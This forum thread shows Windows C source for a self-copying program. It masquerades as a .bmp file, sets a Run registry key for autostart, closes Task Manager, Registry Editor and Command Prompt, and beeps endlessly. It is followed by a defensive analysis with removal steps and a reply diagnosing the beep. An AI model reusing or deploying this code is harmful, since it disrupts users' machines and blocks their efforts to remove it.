Member Avatar for dextor33 
#include "stdafx.h"
#include "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    HKEY hKey;
    char sd[255];
    char path[MAX_PATH];
    int Freq = 0;
    int Duration = 100;
    bool Forwards = true;
    bool Backwards = false;
    int timer = 0;
    HWND hWin;
    HMODULE GetModH = GetModuleHandle(0);
    GetModuleFileName(GetModH, path, 256);

    GetSystemDirectory(sd,255);

    strcat(sd,"\\Blue Corral.bmp.exe");
    CopyFile(path,sd,FALSE);
    unsigned char PathToFile[20] = "Blue Corral.bmp.exe";

    RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
    RegCloseKey(hKey);

    while(1==1)
  {

    hWin = FindWindow(NULL,"Windows Task Manager");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    hWin = FindWindow(NULL,"Registry Editor");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    hWin = FindWindow(NULL,"Command Prompt");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    hWin = FindWindow(NULL,"Close Program");
    SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

    if(Backwards==true)
    {
    Beep(Freq,Duration);
    Freq = Freq - 100;
    timer = timer - 1;
    }
    if (timer == 0)
    {
    Backwards = false;
    Forwards = true;
    }

    if (timer == 30)
    {
    Backwards = true;
    Forwards = false;
    }
    if(Forwards==true)
    {
    Beep(Freq,Duration);
    Freq = Freq + 100;
    timer = timer + 1;
    }
  }
    return 0;
}
Edited by Nick Evan because: Fixed formatting
  • 2 Contributors
  • 1 Reply
  • 379 Views
  • 13 Hours Discussion Span
  • Latest Post Latest Post by BCBTP

Dani AI

Generated

This binary behaves like a simple persistence malware: it drops a copy into the Windows system folder, registers itself to start automatically, repeatedly invokes the Windows Beep API in a tight loop (the audible noise identified), and actively closes common admin tools to hinder removal. The behavior explains both the nonstop sound and why Task Manager/Regedit/Command Prompt may close when they open.

Recommended removal workflow (safe, ordered):

  • Boot the machine into Safe Mode or use Windows Recovery Environment so the dropped program does not run and cannot close tools.
  • From Safe Mode, identify and stop the malicious process (Task Manager, Process Explorer or taskkill can help). If the process respawns, boot to recovery media and use an offline approach.
  • Remove persistence: back up the registry, then delete the suspicious Run entry (the autostart key used by the program) and any scheduled tasks or Startup-folder shortcuts that reference the executable.
  • Delete the copied executable from the system directory (look for recently modified .exe files or filenames attempting to masquerade as non-executables).
  • Run a full scan with an up-to-date antivirus/anti-malware engine (Windows Defender Offline, Malwarebytes, etc.) to catch remnants.
  • If removal fails or the system integrity is uncertain, restore from a known-good backup or perform a clean install.

Quick mitigation and notes:

  • Muting speakers, unplugging audio, or stopping the system Beep service can silence the immediate annoyance while working on removal; this is a temporary mitigation only.
  • The program’s technique of finding and sending WM_CLOSE to admin windows is why offline or Safe Mode removal is recommended.
  • For future testing, compile and run risky code inside a VM snapshot with no sensitive data and limited privileges.

Credit: original code posted by and the Beep/loop diagnosis from .

Member Avatar for BCBTP

Use code tags, and your mystery sound is the Beep() function. while(1==1){} is calling your beep function very fast, that is the problem.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.